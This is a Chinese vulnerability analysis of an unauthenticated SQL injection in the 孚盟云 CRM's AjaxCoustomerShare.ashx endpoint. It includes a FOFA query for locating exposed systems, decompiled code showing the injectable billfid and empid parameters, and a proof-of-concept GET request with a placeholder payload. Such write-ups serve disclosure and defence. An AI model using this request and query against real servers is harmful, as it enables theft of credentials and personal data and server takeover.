漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxCoustomerShare.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 AjaxCoustomerShare.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxCoustomerShare 方法的实现如下
public void ProcessRequest(HttpContext context)
{
try
{
context.Response.ContentType = "text/plain";
string str = context.Request["method"].ToString();
if (!string.op_Equality(str, "DeleteEmpID"))
{
if (!string.op_Equality(str, "powerDetil"))
return;
this.powerDetil(context);
}
else
this.DeleteEmpID(context);
}
当 method=DeleteEmpID 时,进入DeleteEmpID方法
public void DeleteEmpID(HttpContext context)
{
string str = context.Request["empid"].ToString();
int num = this.dbHelper.ExecuteSql($" delete syMouldCustomShare where MouldID='BF001' AND BillFID='{context.Request["billfid"].ToString()}' AND EmpID='{str}'");
context.Response.Write((object) num);
}
当 type=powerDetil 时进入 powerDetil
public string powerDetil(HttpContext context)
{
string str1 = context.Request["empid"].ToString();
string str2 = context.Request["billfid"].ToString();
string str3 = context.Request["CNEmpName"].ToString();
DataSet dataSet = this.dbHelper.Query($"{$"select bfEMP.EmpID, bfEMP.CNEmpName,syMouldFile.MouldName,syMouldCustomShare.BillFID,syMouldCustomShare.MouldID,\r\n syMouldCustomShare.LinkMouldID,IsPowerAll\r\n from syMouldCustomShare(nolock)\r\n inner join bfEMP(nolock) on syMouldCustomShare.EmpID=bfEMP.EmpID\r\n inner join syMouldFile(nolock) on syMouldFile.MouldID=syMouldCustomShare.LinkMouldID\r\n where syMouldCustomShare.MouldID='BF001' AND BillFID='{str2}' and bfEMP.EmpID='{str1}' "} select bfEMP.EmpID, bfEMP.CNEmpName,syMouldCustomShare.BillFID,\r\n syMouldCustomShare.LinkMouldID,'附件' as MouldName,AttachPurCaption from syMouldCustomShare(nolock)\r\n inner join bfEMP(nolock) on syMouldCustomShare.EmpID=bfEMP.EmpID\r\n where syMouldCustomShare.MouldID='BF001' AND BillFID='{str2}' and bfEMP.EmpID='{str1}' ");
DataTable table = dataSet.Tables[0];
最终可以看到,未经过滤或参数化绑定的参数 billfid、 empid 被直接拼接进SQL语句中进行执行,造成SQL注入漏洞。
漏洞复现
GET /m/Dingding/Ajax/AjaxCoustomerShare.ashx?method=DeleteEmpID&billfid=SQLI_POC HTTP/1.1
Host: fumacrm.mrxn.net

通过报错注入 成功在响应回显数据版本信息
以及当 method=powerDetil 时,就不赘述了。





